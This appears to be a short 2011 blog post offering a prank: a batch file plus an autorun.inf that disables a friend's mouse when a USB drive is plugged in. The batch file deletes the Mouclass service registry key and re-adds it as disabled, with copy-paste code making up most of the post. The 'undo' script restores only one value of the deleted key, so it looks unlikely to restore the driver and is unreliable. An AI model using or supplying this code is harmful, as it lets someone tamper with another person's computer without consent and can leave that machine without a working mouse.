Saturday 28 May 2011

How to disable your friend’s mouse whenever your USB drive is inserted.

use notepad and save, as whatever .bat

Trick:
First we’ll create a batch file and then we’ll be creating autorun.inf file.

-Batch file ( copy/past ) [save it as filename.bat]

set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4

-Autorun file ( save it as autorun.inf )







[autorun]
Open=filename.bat
Action=Mouse Disable


Now copy both of the file in your or your friend’s USB drive. And that's it just plug in the USB Devlish !

To re-enable the mouse, simply create another batch file with following script:
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1

No comments:

Post a Comment